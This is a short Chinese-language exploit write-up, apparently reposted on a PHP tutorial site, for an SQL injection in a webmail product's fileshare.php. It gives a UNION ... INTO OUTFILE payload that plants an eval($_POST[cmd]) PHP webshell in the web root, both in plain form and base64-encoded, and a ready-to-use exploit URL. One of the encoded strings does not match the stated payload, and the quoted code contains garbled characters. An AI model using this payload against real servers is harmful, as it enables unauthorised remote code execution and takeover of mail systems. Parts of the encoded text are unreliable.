来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] 在fileshare php中mysql_query( SET NAMES 39;UTF8 39;); mysql_select_db( $database ); $file_id = $_GET[ 39;file 39;]; $inmail = $_GET[ 39;inmail 39;]; if ( !$file_id ) { e...
在fileshare.php中 mysql_query( "SET NAMES 'UTF8'"); mysql_select_db( $database ); $file_id = $_GET['file']; $inmail = $_GET['inmail']; if ( !$file_id ) { exitout("鍙傛暟閿欒锛? ); } $file_id = rawurldecode( base64_decode($file_id ) ); $sql = "SELECT * FROM netfile_fileWHERE file_id='".$file_id."' AND is_share='1'"; $file = @mysql_fetch_assoc( @mysql_query($sql ) ); if ( !$file ) { exitout("鏃犳ゅ叡浜鏂囦欢锛? ); } 由于file 参数未进行任何过滤,经过一次base64_decode解密,导致我们可以将单引号等危险参数传进来,由于屏蔽了回显,所以没办法直接用工具注入
但是我们通过Mysql 数据查看netfile_file表的结果,发现他有14个字段
所以我们可以直接union 直接写shell
当$file_id 经过解密时候为
aa' union select 1,2,3,4,5,6,'<?phpeval($_POST[cmd]);?>',8,9,10,11,12,13,14 into outfile'C:/umail/WorldClient/html/360.php'# 即可写shell了
我们加密下
YWEnIHVuaW9uIHNlbGVjdCAxLDIsMyw0LDUsNiw3LDgsOSwxMCwxMSwxMiwxMywxNCBpbnRvIG91dGZpbGUgJ0M6L3VtYWlsL1dvcmxkQ2xpZW50L2h0bWwvMzYwLnBocCcj
当http://192.168.56.128/webmail/fileshare.php?file=YWEnIHVuaW9uIHNlbGVjdCAxLDIsMyw0LDUsNiwnPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4nLDgsOSwxMCwxMSwxMiwxMywxNCBpbnRvIG91dGZpbGUgJ0M6L3VtYWlsL1dvcmxkQ2xpZW50L2h0bWwvMzYwLnBocCcj
即可在web目录写下我们的文件360.php 文件了 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com